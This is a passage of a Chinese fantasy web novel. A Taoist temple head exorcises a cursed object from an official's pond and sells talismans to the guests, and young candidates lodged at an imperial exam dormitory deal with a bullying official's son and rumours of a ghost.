因此这么多年来,周大人才会仕途平顺,家宅和睦,人丁兴旺。” 周祎仁听了一整,发现徐莞说的皆是周府的风水布局之优势。 可若是真的如此之好,又为何最近会出问题呢? 慕怀瑾先他一步问道:“既然周府的风水布局无懈可击,那为何近期会怪事频发?” 徐莞不急不缓道:“方才我说过,从前的水之力,无法与木火抗衡,因而周府才会平顺兴旺。 可若是因某种外力干扰,将水之力放大了十倍,那么水之力便可与木火抗衡。 势均力敌之下,必然会令周府风水大乱,影响到府中人的康健与运势。” 众人听罢渐渐明白过来,秦韶华问:“菀妹妹的意思是,近期有某种外力干扰了池塘,放大了水之力?那么这外力又是什么?” 徐莞颔首,“对。”而后领着他们绕过屏风,向前厅后的池塘而去。 一面走,一面问:“姐姐、周大人,你们可还记得近来掉过什么东西在这池塘里吗?” 周祎仁与秦韶华互相对视一眼,面面相觑,“没有,我们两人没落过什么东西。但不知府中其他人是否落过。” 随后,周祎仁不用徐莞提醒,便主动召来刘管家,命他下去仔细询问府中下人们,近一月内,有无下人将物品掉落进了池塘中。 不问倒好,一问才知,这池塘中掉进去了不知多少物件。 有掉碗筷进去的,有掉手绢的,有掉香囊的,还有的耳环丢了不确定是否掉进去了。 答案五花八门,令周家人一个头两个大。 周祎仁心急如焚,只好再去向徐莞请教。 在刘管家询问期间,周祎仁怕客人们饿着,便宣布生辰宴开席。 于是慕徐二人便落座吃起了酒席。还没吃多久,周祎仁便来向她求教。 “徐观主,难道要将这池塘之水放尽,将池塘底部的东西全捞上来吗?” 徐莞将一口菜放入口中,淡定地点点头,“嗯。” 周祎仁:“……”饶了我吧徐观主! 第225章 225.阴阳对冲 徐莞将一口菜放入口中,淡定地点点头,“嗯。” 周祎仁:“……”饶了我吧徐观主! 见周祎仁还有些犹豫,秦韶华径直撞开周祎仁,向徐菀保证道: “菀妹妹放心,只要能将此事解决,要将整个周府翻个底朝天我们都配合!” 于是,周祎仁再次吩咐下去,让刘管家带领几位下人将池水排空。 所幸此池塘面积不大,水深也仅有一尺左右。在宾客们享用生辰宴期间,池塘之水便已排的差不多。 待宾客们享用完毕,众人便都随着徐菀和周祎仁等人,一同来到池塘边,查看其中到底有何不详之物。 片刻后,一行人皆来到池塘边站定,伸头向池中望去。 但见池底中杂物遍布,五花八门什么都有。 虽然周府每隔两年会清理一次池塘中的杂物污物并换水,但还是不停有草木或物品掉落。 这些物品再长期被池水浸泡,免不了会发黑腐烂。因而众人立在池边,都闻到了一股浓重的腐烂臭味。 周祎仁向池中望了一眼,便扭过头捂住鼻子,向徐菀道:“徐观主您快看看,这里面到底有何不祥之物?” 在旁人皆捂住口鼻,面露嫌恶之色时,徐菀却似无事人一般,仔细扫视着池底的每一样物品。慕怀瑾亦立在她身边,与她一同认真观察着。 不出一盏茶的功夫,徐菀终于眼眸一亮,“找到了!” “什么什么?” 众人皆随着她的目光寻找而去,徐菀指着池塘中央一个黑色布袋说:“将那个布袋取过来看看。” 周祎仁随后命人将那黑色包裹取来放在池边,还没打开,周祎仁及几位刑部官员便闻到了一股淡淡的血腥味。 “你们闻到了吗?” “嗯,有一股淡淡的血腥味。” “是呀,这里面一定有什么东西。” 慕怀清与慕怀灵等人站得较远,疑惑地问:“有吗?我们为何什么都未闻到,只闻到一股臭味。” 周祎仁解释道:“你们又不像我们刑部的人,整日与伤者和尸体打交道,对血腥味当然没那么敏感。” “对,我也闻到了。”鄞玄也从旁应了一声。他常年在战场上拼杀,对血腥味已极其熟悉。 此时,宾客中有一位仵作,从怀中取出随身携带的手套,自告奋勇上前说要帮忙打开包裹。 周祎仁随即让秦韶华将孩子们带走,众人也让开一片空地。 仵作来到包裹旁蹲下,慢慢将其解开,周遭众人皆一瞬不瞬地盯着,直到望见仵作从包裹中取出一大团,被污水浸泡过的白布条... 仵作将那些布条放在地上一一摊开,众人仔细观察后发现,这些布条虽已被污水浸泡了不知多久,但每条布条中央,都隐约可见一片褐色之物。 “这是何物?” 那些男人们大多都未曾见过此物,但徐菀却一眼便认了出来。 “这是女子所用的月事布。上面的褐色痕迹,就是癸水经长期浸泡后留下的。” 周遭的男人们一听,顿时恍然大悟。 “原来如此!” “如此一看确实是啊!” “快把那玩意儿放下,多晦气啊。” 这位仵作也不禁站起身后退一步,对着此堆月事布有些手足无措。 就在此时,徐菀站出来朗声道:“女子的月事与吃喝拉撒无二,都是正常的身体现象。 因而癸水和月事布并不是什么晦气之物。它们与这池底的所有杂物一样,都染了污秽,但并不晦气。各位大人无须紧张。” 听徐菀如此一讲,众人不由得略略放松下来。 周祎仁问:“就是这包月事布增强了水之力?” “对。癸水又称阴水,在五行中属水,被放置在池水中,会增强池水的阴气和水之属性。并且此包裹内之物似还被施了恶咒,阴气与水之属性会愈加放大。 如此一来便与前院木火属性的杨柳树形成对冲,影响了整座周府的风水格局。 所幸此物放置的时日还不长,对周府的影响还不是很大。今日及时去除,周大人与秦姐姐便可放心了。” 徐菀的话音落下,周遭众人望着那黑色包裹,皆陷入沉默与沉思中。 在堂堂刑部左侍郎的宅院内,竟会出现此等不详之物。 由此可见背后之人不仅心思歹毒,还精通五行风水之术。 细思之下,不禁令人脊背发凉。 周祎仁瞪着那黑色包裹,眼底头一次流露出狠厉之色,“到底是何人将此物放入我周府池塘中的,我定会彻查到底!否则合府上下永不得安宁。” 秦韶华将手帕放在口鼻前,面上亦是一派厌恶与后怕,“查定是要查的。但当务之急,是尽快将此物处理掉。菀妹妹,依你所见,此物该如何处置?” 徐菀安慰道:“姐姐放心,处理起来很简单。” 随后,徐菀让周祎仁取一干净口袋,将这包东西装好。 周祎仁忙命人拿来一口干净的布袋,帮着仵作将黑色包裹及所有月事布皆放进去。 而后徐菀伸手去接,慕怀瑾却突然拉住她,面露担忧,“菀菀...” 徐菀有些无奈地笑笑,“我就是干这行的,什么场面没见过,还怕这些月事布?” 慕怀瑾这才意识到自己多余担心了。菀菀的道法如此高超,连恶修罗和镜魔都能对付。区区几条月事布确实是小菜一碟。 慕怀瑾尴尬地放开手,看着徐菀将布袋接过,之后来到一处有日光的地界,将布袋放在了阳光下。 此时正是午时刚过,日光与阳气最盛的时候。阳光直射在那包裹之上,有寒气从中袅袅升起。 众人跟着她过来,在布袋周围围成一圈。 但见徐菀从腰间的小荷包中取出一张黄纸,咬破手指在黄纸上画下一道符。 接着从发髻中拔下一支银簪,用将将画的那道符纸包裹好。 准备好一切好后,徐菀双手结印,对着包裹开始默念咒语。 念着念着,那袋包裹竟动了起来,似不堪忍受痛苦,发出吱吱尖厉的叫声,忽然疾速向阴暗处逃窜。 “大家小心!” 第226章 226.驱除恶咒 “大家小心!” 那包裹竟极快地动了起来,向阴暗处逃窜。 立于那个方向的几位宾客,吓得原地蹦了起来。其余宾客也都发出阵阵惊呼,连连后退。 可不等那包裹逃窜到阴影中,一支包裹着符咒的银簪,嗖的一声准确无误扎中包裹中央,似将它定在了那里,包裹再也逃不了了。 徐菀将其定住后,再次口念咒语,且语速越来越快。 那包裹似有生命一般,又似被放在烈火上灼烧,疯狂扭动着,发出刺耳的滋滋声。 不消片刻突然燃起火来,将众人惊得齐齐后退一步,心中暗叫:方才这包裹内的东西还在潮湿滴水,此时竟燃起了火,果然有邪灵作祟。 火势越烧越旺,直到将其完全包裹。徐菀口中的咒语也一直未停。 直到一盏茶的功夫后,包裹的动静逐渐减小,也不再发出声音,火焰亦随之缓缓熄灭。 众人这才敢倾身望去,但见那包裹已尽数消失,只在地上留下了一滩黑印。 周祎仁后怕地望着那滩黑印,小心翼翼道:“徐观主,这就算处置好了吗?” “对,这黑印不碍事,用水刷刷就掉了。周大人和姐姐,你们可以放心了。” 周祎仁与秦韶华听罢长舒一口气,面向徐菀齐齐一拜,“多谢徐观主救命之恩!” “周大人和姐姐快请起。”徐菀连忙伸手搀扶,“举手之劳而已,菀菀不敢受此大礼。” 二人刚起身,徐菀下一句话便道:“周大人记得向青云观赠些香火钱便好。” 周祎仁秦韶华忍俊不禁,“徐观主放心,香火钱一定不会少!” 周遭围观了一整的宾客们,此时也对着徐菀竖起大拇指,连连夸赞。 “没想到慕侯爷的夫人居然懂得风水相术,并且还是一观之主。若不是亲眼所见,我是万万不会信的。” “是啊,慕夫人仅看了几眼便看出了问题所在,使出的那几招一看知便是道行高深之人,真是让我大开眼界。” “慕夫人可帮忙算命看相吗?我想请她帮我算算命,看我来日能否娶到一位公主或郡主,当上驸马爷!” “去去去!少做梦!” 最后一位刑部官员的发言,引来众人一阵嘘声和哄笑。 徐莞却敏锐地从他们的谈笑中,嗅到了一丝商机。 今日聚集在此的宾客,全程观看了自己为周祎仁改风水,除邪祟的过程。 他们可都是我的潜在主顾。 自己还不快抓住这个机会,再将自己推销一番? 思及此,徐莞从小荷包中取出一叠安神符和护身符,向周祎仁推销,同时也让围观的刑部官员听到。 “哦对了,你们若是晚间仍旧失眠多梦,害怕再遇上邪祟或恶咒,我这里还有几道安神符和护身符,一道五十两。 还有一座我亲自开过光的琉璃蟾蜍,放在宅中北方可镇宅驱小人保平安。这个便收您四百两吧。周大人可有兴趣?” 还不等周祎仁开口,围观的刑部官员们皆一拥而上,纷纷掏出银票和银子往徐莞怀里塞。 “慕夫人我要一道安神符!” “徐观主麻烦为我留一道护身符!” “徐观主还有符吗?我想买两道安神符和两道护身符给我的爹娘。” “徐观主!我先把银子给您,待您画好新符我亲自去永嘉侯府拜谢!” 徐莞被团团围住,无数银票和银两在自己面前挥舞,将她看得眼花缭乱。 就在此时,慕怀瑾挤进人群中,将围绕在徐莞身边的男人们一一推开些距离。 “大家安静!不要再挤了! 诸位想买符纸或镇宅摆件,待会儿到本侯这边登记姓名及宅院地址,并上香火钱。 本侯向大家保证,符纸一旦完成,便派人亲自送到各位府上。” “好!” 刑部官员们喊得异口同声,个个摩拳擦掌、跃跃欲试,准备跟着慕怀瑾去登记。 慕怀瑾向徐莞嘱咐了几句,让她照顾好自己,而后向周祎仁道: “哎,借你府上的纸笔一用。麻烦让下人送到月琅阁。” 周祎仁呆呆立在原地,这里到底是周府还是永嘉侯府? 今日生辰宴的主角,到底是我还是慕怀瑾? 周祎仁开始怀疑人生…… 徐莞亦怔愣地站在原地,望着他将一大群人领走,不禁由衷感叹,慕怀瑾真是天选生意人。 而后她又美滋滋地想,今日又可以挣一大笔香火钱啦! === 前阵生辰宴后,周祎仁与秦韶华特意择了一个好日子,亲自携一车礼品,前往永嘉侯府拜谢徐莞,并向青云观祖师爷上香,供上香火钱。 徐莞用眼风将那叠银票一扫,心中便估摸出,盒子里少说也有一千两。再加上周祎仁送来的一车礼品…… 啧啧,周大人家底还挺厚的嘛。 看来今后需多与他套套近乎,说不定还能借周祎仁接到他爹刑部尚书和整个周家的生意。 除此之外,那日向她预定符纸的刑部官员们,也向青云观供奉了七八百两的银子。 徐菀与慕怀瑾晚上在寝屋里美滋滋地点着银子和银票,不禁感叹,这回周祎仁的生辰宴真是去对了。 时光如水,转眼半个月又逝。 慕煜衡依然没有回府。 慕老太这段时日曾去寺庙中看望过他一次,想带些衣裳与吃食给他。 但他却避而不见,以法号自称,言不认识什么慕家人,外人给的物品一律不收。 慕老太只好灰溜溜地离开,回府后仍旧待在自己的福宁轩中,甚少再过问府中事务。 倒是让薛敏芝少了许多麻烦与烦心事。因为她的心思近来都放在了儿子即将要参加的春考会试上。 盛国的科举考试每年举办两场,春考为三月的会试与四月的殿试,秋考为九月的童生试与十月的乡试。 慕煜峥此次,便是要参加三月的会试。 会试规定,来自全国各州县的举人,皆须提前半月抵达京城。 在会试开考前十日,住进由国子监统一安排的处所,名为书院阁。 这十日内仅可携带衣物和日常用品,以及会试涉及到的书籍和文房用具,其余物品及仆从一律不得进入。 第227章 227.举人齐聚书院阁 这十日内仅可携带衣物和日常用品,以及会试涉及到的书籍和文房用具,其余物品及仆从一律不得进入。 同样,出题的考官也会在考试前十天统一安排住所,由专人监督出试题,防止在开考前试题泄露到考生耳中。 再者,将上百位举人安排进同一住所,可便于观察每位考生的人品及习性,从而筛选德才兼备之人。 近日,薛敏之就在为慕煜峥收拾行囊,特意将从徐菀处请来的符纸,穿在红绳上做成项链,让慕煜峥贴身佩戴。 一切准备妥当后,次日,慕煜峥坐上侯府的马车,在慕怀清与薛敏芝的陪同下,向书院阁而去。 抵达书院阁大门附近,便能望见许多马车停泊于此。 各个府院的公子少爷们皆由家眷或下人陪同,下了马车向大门走去。 还有一些出身平民百姓家的举人,他们大多从外地州县赶来,独自一人背着行囊,风尘仆仆,怀着好奇与敬畏之心,排队往书院阁大门而去。 慕煜峥三人下了马车,恰好望见不远处一辆周府的马车将将停下。 片刻后,周平章与母亲秦韶华便先后下了马车。 “平章!秦姨!”慕煜峥向他们唤道。 二人听到声音转头望来,立时便淡笑着走了过来。 两家人相遇于此,皆友好地打了个招呼。 “二哥,姐姐,你们一同来送煜峥啊。”秦韶华客套道。 慕怀清点头笑道:“对,今日是煜峥的大日子,我抽空也得来送送他,为他加油鼓劲。” 说罢,父子俩相视一笑,薛敏芝心中也不由得欣慰了几分。 秦韶华望着他们赞叹道:“看来此次会试,煜峥必定十拿九稳了。” 慕家三人哈哈一笑,两家人又各自客套了几句,便差不多到了送入书院阁的时间。 在临进入之前,薛敏芝向慕煜峥嘱咐道:“进入书院阁后定要严于律己,切莫与人发生冲突,莫要做任何不当之事。 另外你作为哥哥,照顾好平章。你们二人最好结伴而行。若遇危险及时向里面的大人反映,记住了吗?” 十四岁的慕煜峥已有了些大人模样,认真点头道:“嗯!记住了!爹娘放心,我会照顾好平章的。” 秦韶华也向周平章嘱咐,让他跟紧慕煜峥,莫要做任何出格之事,保证两人的安危。 末了,慕煜峥与周平章挥别爹娘,并肩汇入进入书院阁的队伍,渐渐往里走去。 在书院阁大门处设有检查考生所带行囊的岗哨。 进入内里前,首先要将自己的行囊与包裹打开,让官员检查无违禁品后,方可进入。 二人经过严格检查,终于进到了书院阁内。 一进书院阁前院,便能望见几张巨大的告示,张贴在告示板上。 其上写着各位考生的姓名与房号,一人一屋。 考生可在其上寻找自己的屋子,之后前往屋里收拾休息。 因此前院告示区前挤满了人,都在仰首寻找着自己的房号。 慕煜峥粗略看了一遍,参加会试的举人竟有一百八十人之多。 周平章则很快便找到了他们二人的房号。 “煜峥,我们在三号院的三十五及三十六号房。走,我们去屋里收拾吧。” 书院阁占地两百三十余亩,共有五座院落,共可容纳二百人有余。 暂住此地的考生们实行一人一屋制,每间屋子仅五平米左右,其中摆放着一床、一桌、一椅、一柜而已。 慕煜峥与周平章来到三号院,登上三楼找到他们的屋子。进屋后便开始归置各自的行囊,收拾屋子。 两个少年虽出身高门,但并非娇生惯养之人,收拾屋子这种小事,二人做起来相当熟稔,不费力气。 在二人收拾屋子期间,陆陆续续又来了许多考生。 这些来自天南地北的考生们,初入此地互相还不熟,因此皆忙着收拾各自的屋子,未来得及相互介绍交谈。 整个三号院无一人大声叫嚷,就连熟识的考生之间,交谈声都刻意放低,显得十分安静,乱中有序。 可这种和谐平静的氛围,不久便被一道嚣张恶劣的男声打破。 “哼!什么破地方,是给人住的吗?我家一匹马的马厩都比这儿大!” 此人嗓门极大,语声中带着明显的傲慢与嫌弃,一路从一楼嚷嚷到三楼。 “...考个破试还要让本少爷在这儿住十日,一个下人都不让带,让本少爷怎么过!” 在各自屋中收拾的考生们听到此些骂语,皆不约而同伸出头去,想看看到底是何人敢如此大骂书院阁与会试。 慕煜峥早已收拾完毕,此时正坐在周平章屋子里与他闲聊。 二人听到此话,亦下意识转头朝窗外望去,恰好瞥见一锦衣华服,走路大摇大摆的人从窗外走廊一闪而过。 慕煜峥起身来到窗边探头望去,见那人走到三十八号房门前停下,正低着头用手里的钥匙开门,口中还嘟囔着,“什么破门,本公子一脚都能踹开!” 慕煜峥眯起眼定睛一看,立时认出了他是何人。 “煜峥,那是何人?”周平章亦跟着来到慕煜峥身后,小声问道。 慕煜峥将手指放在嘴唇上“嘘”了一声,示意他声音小点。 随后伸手关上窗,拉着周平章来到桌边坐下,才在他耳边小声道:“我认得那个人,他是户部左侍郎魏志鸿魏大人的儿子,魏庆坤。” “原来是他!”周平章显然也知晓魏庆坤此人,压低声音对慕煜峥悄悄说: “听闻此人性情狂躁,蛮不讲理,狂妄自大,又愚蠢至极,二十二岁了才考上举人。 但又因他爹是户部左侍郎,娘是前文华殿大学士娄贲大人的女儿,出身高官世家。 因此一般无人敢得罪于他,更令他嚣张跋扈、无法无天。” 慕煜峥连连点头,“对,他就是这种人。我有一次亲眼见识过他醉酒后调戏一位官家小姐。 众目睽睽之下,竟无人敢阻止。末了还是那位小姐他爹带人前来,才将魏庆坤劝走。 谁能想竟会如此巧,让我们与他住得那么近。” 第228章 228.嚣张至极 “谁能想竟会如此巧,让我们与他住得那么近。” 周平章听后轻叹一声,“哎,与这种人住得近,真倒霉。我们往后须多加小心,千万别跟那人碰上。” 慕煜峥却不屑道:“碰上又如何?我们不惹事,但也不怕事。若是那人敢找我们的麻烦,我们也不必怕他。” 住进书院阁的第一日,各位考生便在各自收拾屋子,与互相介绍、广结挚友中度过。 到了傍晚,慕周二人已基本与三楼其他几间屋子的举人相互熟识。 尤其是住在周平章右侧三十七号屋子的举人杨宝丰,来自盛国西北地区偏远的某个州县,是他们那个县第一个考上举人的普通百姓。 此次来参加会试,是他平生二十多年来头一次进京,心情激动异常。 经过与杨宝丰的一番交谈,慕煜峥可看出他为人正直朴实,又热心健谈,且言语间时常引经据典,诗词歌赋信手拈来,可谓满腹经纶,必定能在会试中取得好名次。 三人一个时辰的闲谈结束后,已以兄弟相称,还相约一同用晚膳。 书院阁中的一日三餐,皆由大厨房统一烹制好,再分装成一人一份的量。 每到用膳时分,由书院阁的下人们分别送往每间屋子门口。 因此,每位考生所用的每顿餐食,菜品主食汤品皆相同,便不会发生某位考生吃坏肚子无法考试的情况。 待晚膳送来后,慕周二人都将各自餐食端到杨宝丰屋里吃。 杨宝丰望着餐盘中摆放着的三菜一汤一主食,顿时眼睛都直了,馋得不住咽口水。 “书院阁的伙食居然如此之好!有鱼有肉有菜还有鸡汤,杨某着实没想到啊!京城大户人家每日的膳食也不过如此吧。” 慕周二人拿着筷子有些不好意思,因为他们平日在府上吃的菜色,都要比这些好。 这些菜顶多算京城普通百姓,日常吃的饭食吧。 但二人皆未说破,而是一同赞同杨宝丰的说法,避免了不必要的尴尬。 “对。杨大哥咱们快动筷子吧。我这肚子已饿得咕咕叫了。”慕煜峥道。 “好嘞,吃吧吃吧。在我这儿你们都别拘束。” 说罢,三人皆拿起筷子,对着面前的饭食大快朵颐起来。 就在此时,一阵碗碟碎裂声骤然响起,将三人惊得齐齐一抖。 紧接着又一阵怒骂声传来,“日你奶奶个腿!这臭鱼烂菜是给谁吃的?我家狗吃的都比这好!玛德让本少爷吃这些,侮辱谁呢!” 此次众人都不用看,便知是三十八号房的魏庆坤,又在发脾气骂人了。 身处三十七号房的三人,仅与魏庆坤一墙之隔。 方才那碗碟碎裂声落入他们耳中,比三号院的其他考生听到的声音更大,更惊人。 不一会儿,楼下便传来了叫喊声。 “是谁从上面乱扔碗碟呢!差点砸到人了知不知道!” 原来方才是魏庆坤一脚将餐盘从房门口踢到了走廊边。上面的碗筷连带着饭菜,便从三楼掉下来,差点砸到下面的人。 魏庆坤心情正烦躁郁闷着,听到下面有人竟敢对他大呼小叫,顿时来了脾气,噔噔两步走到栏杆旁,探出身子向下方气势汹汹吼道: “混账玩意儿!你爷爷我是户部左侍郎的儿子魏庆坤!我砸的就是你这龟孙子! 你有本事上来打我啊!你要是上来看我不打死你!” 魏庆坤骂完,下方之人气恼之下才说了一个“你”字,语声便戛然而止,似被其他人拉住。 慕煜峥三人仅能听到楼下的一些窃窃私语声,之后便没了声音。 看来楼下之人也顾及着魏庆坤的背景,只得不了了之。 魏庆坤立在栏杆旁等了一会儿,听下方没了动静,便得意洋洋地笑着,返回自己的房间。 片刻后,一位书院阁内的管事,带着一名小厮端着一新餐盘登上三楼。 他们来到三十八号房前,轻轻敲了几下门。 房内立时传来魏庆坤凶悍的大嗓门,“谁啊!” 管事压低声音说了句,“魏公子,小的命厨房特意为您做了份新晚膳,做好后立马就为您端来了,这会儿还热着呢。 请您赏脸开开门用膳吧。魏夫人给小的嘱咐了,万万不能让您饿着肚子啊。” 管事的声音压得极低,只有三十八号房和其相邻的两个屋子能听见。 随后慕煜峥等人便听到,三十八号房门打开,魏庆坤似是站在门口看了一会儿,才挑剔道: “这几个菜还能勉强入口。你给我记住了,今后本少爷的每顿餐食,都按这个标准来!而且只能高不能低! 否则本少爷就告诉我爹娘,说你们在此处虐待我,不给我饭吃。明白了吗!” “明白明白!公子放心,小的已给厨房交代过,今后专门为您开一个炉灶,为您另做饭菜。” 又过了一阵,魏庆坤才道:“滚吧。”紧接着便是嘭的一声关门声。 管事与小厮赶忙转身离去,经过三十七号房窗外时,慕煜峥等人还能看到他们二人松了一口气的表情。 三十七号房的三人望着这一幕静默良久,望着手里的饭菜都不香了。 半晌,杨宝丰才憨笑一声小声道:“隔壁屋的那位兄弟,还没当官官威就这么大。听他说他爹是户部左侍郎,那是很大的官吧?” 周平章向来谨言慎行,一直低头吃饭未接话。 隔了一阵,慕煜峥才愤愤道:“官大能大得过天吗? 不过有区区一个户部侍郎的爹就狂妄成这副样子。考官们看到此人的品行,定不会允他通过会试。” 周平章口中嚼着饭,声音闷闷地说:“那不一定。别忘了他还有个曾任文华殿大学士的外祖父。 文华殿大学士向来兼任历届科举的主考官。娄贲大人如今虽退下来了,可国子监内的官员和负责此次会试的考官们,定有娄大人的学生。 魏庆坤之所以如此嚣张,应是明白自己手握底牌。有他爹娘和外公在,或许还会给他更大的好处。” 周平章说罢,继续埋头扒饭,慕煜峥和杨宝丰却停了下来,暗自琢磨着周平章所言。 看来这科举考试中的水分与弯绕,远比他们想象得更为复杂。 第229章 229.频频闹鬼 所有考生用完晚膳后,都将各自餐盘放在房门外,等着小厮前来一一收回。 晚间,考生们便各自回房挑灯夜读。 整个书院阁很快便静了下来,唯见每间屋子里那一点烛光微微抖动。 当然,也有根本读不进书的考生,一用完晚膳便吹了蜡烛倒头睡觉,不一会儿便传出鼾声。 杨宝丰听着隔壁三十八号房的鼾声,连连蹙眉叹息,却别无他法。 只得将草纸揉成小团塞进耳朵中,妄图抵挡魏庆坤的魔音。 除此之外,不时还有些考生出门如厕。 茅厕设在每层的最东头,需沿着走廊走到最后头。因此谁出门如厕,这一层楼的人都清楚。 但时常也会出现每层楼茅厕已满的情况。若遇此情况,还可登上楼顶的露台,露台上还设有一茅厕,大致来说是够了。 就在三号院众考生挑灯夜读之时,一道慌乱的惊叫蓦然响起。 “啊!什么玩意儿!别过来啊啊啊!” 紧接着,便听二楼茅厕的门砰的一声从内推开,一位考生裤带都未系好,就惊慌失措地从中跑了出来。 边跑还边回头看,像是生怕有何物追上他似的。 很快便有二楼其他房间的考生开门出来看。一踏出门恰好与上茅厕的考生撞个满怀。 “哎呦!李兄你怎么了?慢点!” 李姓考生拉住身前之人,惊恐地瞪大双眼,“茅厕...茅厕里好像有什么东西...” “有什么?” 李姓考生压低声音,“不干净的东西...” 此时出来凑热闹的考生更多了,听到李姓考生说茅厕有脏东西,纷纷围过来道: “你看错了吧。我们数百个纯阳男子聚集在此,阳气极盛。就算真有不干净的东西也不敢出来。” “就是。这世上哪有什么鬼神。你别自己吓自己,还扰乱我们旁人。” 二楼的动静,引得其他几层楼的一些考生也出门查看。 喜欢凑热闹的慕煜峥开门来到栏杆旁往楼下望去,但见那位李姓考生被五六名考生围着,你一言我一语劝说着。 就在这时,身后茅厕的门突然吱呀一声开了。 李姓考生还以为那不干净的东西又追了上来,大喊一声撒腿就要跑。 其他考生低头一看,原来是一只又肥又壮的老鼠吱吱叫着从中飞速爬了出来,沿着墙边一溜烟钻进了墙缝里。 “是老鼠!” “李兄,是个老鼠,你别怕。” 李姓考生不管三七二之一,推开人群就往自己房里跑去。 砰的关上门,又拖来柜子挡在门后,将窗户也紧紧锁住。最后钻进被子用被子捂住头瑟瑟发抖。 二楼的考生们望着他那落荒而逃的样,不禁哈哈大笑。 “被只老鼠吓成那样哈哈哈...” “就是说啊,胆子还没我那三岁的侄女大。” “这种人还想考取功名?我看趁早回家吧!” 望见这一幕,趴在三楼栏杆上的慕煜峥嗤笑一声,摇摇头准备转身回房。 一转身却发现,周平章不知何时也出来了,一直悄无声息地趴在他不远处的栏杆上,向他挤挤眼睛促狭笑笑。 慕煜峥立时勾住他的脖颈,打闹一番后,便各自回了房。 第一夜便如此过去。 到了第二日一早,在大部分考生将将起身,迷迷瞪瞪更衣时,突然听到一阵惊惶的叫喊。 “这...这是什么!见鬼了,真是见鬼了...” “怎么了?发生了何事?”一些询问声随即响起。 周平章将将穿戴整齐,分辨出这些声音就在他们这一层,于是开门出去看看情况。 只见有一人立在三十三号房门口,与里面的考生交谈着。 不一会儿,慕煜峥也开门从房中踏出,揉着睡眼惺忪的双眼,向周平章问,“怎么了?哪里又出事了。” 周平章指了指前面,“是三十三号房的吕兄。” “吕兄?走,咱们去看看。” 二人向三十三号房走去,便见吕姓考生正拿着几张信纸,向立在门口的胡姓考生激动地说着什么,面上一派焦虑和不解。 “...我昨晚明明在这几张纸上抄写了《列国志》的第三卷。因某些字词抄写出错,我就将其揉皱扔在桌边上了。 哪知今日晨起收拾桌案时,发现这几张纸竟好端端地摆在桌角。且上面《列国志》的内容不见了,居然全变成了一个字——冤!” 吕姓考生颤抖着举着那几张信纸,慕周二人定睛向纸张望去,果真看到那几张纸上,用工整的小篆密密麻麻写着“冤”字。 再结合吕举人方才所说,顿时令慕周二人脊背发凉。 胡举人乃吕举人的同乡,他听了吕举人的话亦是一脸震惊又不可置信的表情。 吕举人见此恳求道:“胡兄,我说的都是实话,这些字真不是我写的。我没必要骗你。” 胡举人踏入房中拍拍他的肩膀安慰道:“吕兄,我当然相信你。因为我能看出来,那个‘冤’字不是你的笔迹。” 吕举人即刻眼放光芒,紧紧拉住胡举人,“胡兄,还是你了解我。 那你说说这是怎么回事?到底是谁写的?半夜我锁着门窗,不可能有人将这些纸放进来啊。” 胡举人见吕举人神情激动慌乱,先拉着他在床边坐下,安抚道: “你先别慌。此事确有蹊跷,但对方没有伤你,说明他没有恶意。你暂且将心放平,莫要多想。” 吕举人紧张的心情稍稍平复了一些,但还是略略颤声道:“那...那对方写如此多‘冤’字是何用意?” “这个嘛...”胡举人思忖片刻,道:“对方许是有冤情,想寻个人帮忙。至于对方是人是鬼...” 吕举人一听再次慌张起来,“它想寻我帮忙?我...我帮不了它啊...它可别缠上我啊...” 胡举人朝窗外望了一眼,见已有多位考生聚在房外,探头探脑观望着他们的情况。 于是胡举人示意吕举人小声点,而后起身向房门口走去,向房外聚集的考生道: “此处没什么事,请诸位别聚在这里了,快去用早膳吧。” 话毕,便强行关上门窗,将周慕等围观考生们拒之门外。 第230章 230.发生口角 “此处没什么事,请诸位别聚在这里了,快去用早膳吧。” 胡举人话毕,便强行关上门窗,将周慕等围观考生拒之门外。 慕煜峥与周平章相视一眼,心中疑惑又有些发怵。 慕煜峥下意识地抚向胸口,衣襟内是娘在他临行前,亲手为他戴上的一道符纸。 听娘说是从婶婶那里请来的,可保考试顺利、金榜题名。 此刻慕煜峥暗暗觉得,说不定这道符也可保平安呢。 其余几位围观考生,从胡吕二人方才的只言片语中,也推测到了吕举人许是碰到了鬼神之事。 人向来对未解之谜有种天然的好奇。 再加上并非发生在自己身上,因此猎奇心态大过了恐惧。 胡举人虽将他们赶了出去,但吕举人遇鬼之事,还是从那几位围观考生的口中,不胫而走。 还不到晌午,整个三号院已传遍了昨晚到今晨李举人和吕举人遇鬼的事。 李举人听闻此事后,好似背后有了极硬的靠山,理直气壮辩驳道: “我就告诉你们我没看错吧!我在茅厕确实看到一抹灰黑色衣角在我身后一闪而过。 并且那一瞬间,我的整个脊背仿佛被泼了一盆冷水,冷得我直发颤。 吕举人也遇到了这种事,你们如今信了吧?” 昨晚还嘲笑李举人胆小如鼠的那些考生,此时皆面面相觑,谁都不敢再将李举人的话当笑话。 午后,又从其余几个院落的考生口中传来一些密闻说,一号院、四号院和五号院里,都有人声称自己见了鬼。 如此一来,整个书院阁中的考生们皆人心惶惶。每日不是在读书写字,就是在讨论前一天闹鬼的情况。 以至于每到天黑后,考生们都不敢再互相串门,皆紧闭门窗。 就算出去上茅厕也要两两结伴而行,一人望风一人如厕,如此才有安全感。 就这样过了三日,书院阁中闹鬼之事传得愈演愈烈,且被描绘得愈加神乎其神。 以至于书院阁的官员们,都出面劝阻考生莫要以讹传讹、散布鬼神之说影响考生们的情绪。 但此种迷信之事,就如同空气般弥漫在书院阁的各个角落,无孔不入。禁是禁不住的,只会转入地下,并越传越广。 三日后的傍晚时分,慕周二人与杨宝丰一同用晚膳时,还是忍不住聊起了这个话题。 “慕兄周兄,你们近几日听说了吗?一二号院的举人们都在传,书院阁中的那个鬼魂,也曾是暂住在此的考生。 因被一同前来考试的同乡好友暗算,死在了此处,所以才化为阴魂冤魂不散。时常骚扰在此的考生,想请他们为他伸冤。 还有举人说,他大哥前两年住在此处时也发生过类似事件。还有的说他小叔七八年前住在此处也遇到过那个鬼魂。看来这个冤魂在书院阁已有很多年了。” 慕煜峥听后随意一笑,不置可否,“传得倒挺像那么回事。但是真是假都与我们无关。” “是啊杨大哥,”周平章跟着劝道:“我们都是来参加会试的。只要那个鬼魂不伤害我们,我们就不必为之担忧。还是认真准备几日后的会试吧。” 杨宝丰听后却还是一脸焦虑紧张,“可是……你们不担心那个鬼魂会找上我们吗? 我从小体弱,就怕那些不干净的东西近身。轻则体虚发热,重则卧床不起,怕会严重影响几日后的会试。” 慕煜峥对杨宝丰的担忧十分不解,有些无语道:“那鬼魂又没找上咱们,你莫要这样杞人忧天,再说了……” 